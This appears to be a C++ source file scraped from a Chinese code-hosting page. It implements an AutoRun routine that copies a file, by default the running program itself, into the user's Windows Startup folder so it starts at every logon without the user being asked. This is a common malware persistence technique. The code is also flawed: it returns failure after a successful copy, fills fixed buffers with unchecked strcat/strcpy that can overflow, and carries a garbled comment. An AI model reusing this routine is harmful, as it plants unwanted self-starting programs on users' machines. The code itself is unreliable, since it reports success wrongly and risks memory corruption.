代码拉取完成,页面将自动刷新
#pragma warning(disable:4996)
#include "AutoRun.h"
//#define DEBUG
BOOL GetStartUpDirPath(char* StartUpDir)
{
char NameBuffer[MAX_PATH] = { 0 };
char PathBuffer[MAX_PATH] = "C:\\Users\\";
DWORD dwBufferLength = MAX_PATH;
BOOL bFlag = FALSE;
//SHGetFolderPathA()
bFlag = GetUserNameA(NameBuffer, &dwBufferLength);
if (!bFlag)
{
#ifdef DEBUG
printf("GetUserNameA:%x\n", GetLastError());
#endif
return false;
}
//puts(NameBuffer);
strcat(PathBuffer, NameBuffer);
strcat(PathBuffer, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
strcpy(StartUpDir, PathBuffer);
return true;
}
BOOL AutoRun::StartUpFloderAutoRun(char* szTargetFilePath,const char* szAutoRunFileName)
{
char szStartUpDirPath[MAX_PATH] = { 0 };
char szSrcFilePath[MAX_PATH] = { 0 };
char szDstFilePath[MAX_PATH] = { 0 };
BOOL bFlag = false;
bFlag = GetStartUpDirPath(szStartUpDirPath);
if (!bFlag)
{
#ifdef DEBUG
printf("GetStartUpDirPath:%x\n", GetLastError());
#endif // DEBUG
return false;
}
//puts(szStartUpDirPath);
strcpy(szDstFilePath, szStartUpDirPath);
strcat(szDstFilePath, "\\");
strcat(szDstFilePath, szAutoRunFileName);
//puts(szDstFilePath);
if (szTargetFilePath == NULL)
{
GetModuleFileNameA(NULL, szSrcFilePath, MAX_PATH);
//puts(szSrcFilePath);
}
else
{
strcpy(szSrcFilePath, szTargetFilePath);
}
bFlag = CopyFileA(szSrcFilePath, szDstFilePath, FALSE); //ļƵļ
if (!bFlag)
{
DWORD LastError = GetLastError();
if (LastError == 0x3)
{
CreateDirectoryA(szStartUpDirPath,NULL);
CopyFileA(szSrcFilePath, szDstFilePath, TRUE);
return true;
}
//else if (LastError == 0x50)
//{
// return true;
//}
#ifdef DEBUG
printf("CopyFile Error %x\n", GetLastError());
#endif
return false;
}
return false;
}
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。